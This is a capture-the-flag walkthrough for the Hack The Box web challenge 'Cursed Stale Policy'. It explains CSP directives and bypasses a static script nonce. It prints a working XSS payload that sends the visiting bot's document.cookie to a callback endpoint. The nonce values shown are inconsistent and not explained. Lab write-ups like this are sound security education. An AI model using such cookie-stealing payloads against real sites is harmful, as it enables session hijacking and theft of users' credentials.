Cursed Stale Policy - HTB Easy Challenge | CSP Bypass via Static Nonce
Walkthrough for Cursed Stale Policy challenge from Hack The Box. An easy web challenge where the Content Security Policy uses a non-randomized (stale) nonce, allowing an attacker to craft an XSS payload with the known nonce to bypass the CSP and exfiltrate the bot's cookies containing the flag.
Challenge Overview
This policy is cursed, can you bypass it?
Solution
Source Code
Although we have the source code, this challenge can be solved without it.
Home Page
As soon as we access the challenge site, we’re presented with this screen:
What’s a CSP?
CSP stands for Content Security Policy and is recognized as a browser technology whose primary goal is to defend a site against attacks such as XSS. It works by detailing the paths and sources from which resources can be safely loaded. For example, a policy might allow loading/executing resources from the same domain ('self'), as well as controlling inline resources and the execution of functions like eval.
CSPs are often implemented through response headers or by embedding meta elements in the HTML page.
Analyzing the Challenge CSP
The challenge’s CSP is:
1
2
3
4
5
6
7
default-src 'self';
script-src 'self' 'nonce-deddd421c2d4bda720fa3ad3097bb5e1';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
object-src 'none';
base-uri 'none';
report-uri /csp-report
default-srcsets a default policy for fetching resources when specific directives are absent.script-srcenables specific sources for JavaScript.style-srcis the same as the previous one, but for stylesheets.img-srcis the same, but for images.object-srcdefines the sources for<object>,<embed>and<applet>.base-urispecifies the URLs that can be loaded using<base>.report-uriindicates where to send a JSON report (via POST) about a CSP violation.
We won’t modify this part, since this is the CSP we have to exploit. We’ll therefore need to modify the existing XSS payload.
Exploit
In the CSP analysis above, we saw the presence of a nonce, which is often used to safely load scripts carrying that nonce. We can see it in the page’s HTML source code.
1
<script type="module" src="/static/dist/assets/main-BdnLs1Sc.js" nonce=""></script>
So if we insert into our payload the nonce attribute matching the one set in the CSP, the exploit will work. The real bug isn’t including the nonce in the CSP, but the lack of randomization of the nonce, which is always the same.
Correct payload:
1
2
3
4
5
6
7
<script nonce="00bca0a3a043215f83bbb3de7cef14e0">
fetch('/callback', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ cookies: document.cookie })
});
</script>
By clicking trigger bot, a POST request is successfully sent, and inside it we’ll find the flag.
Flag obtained.

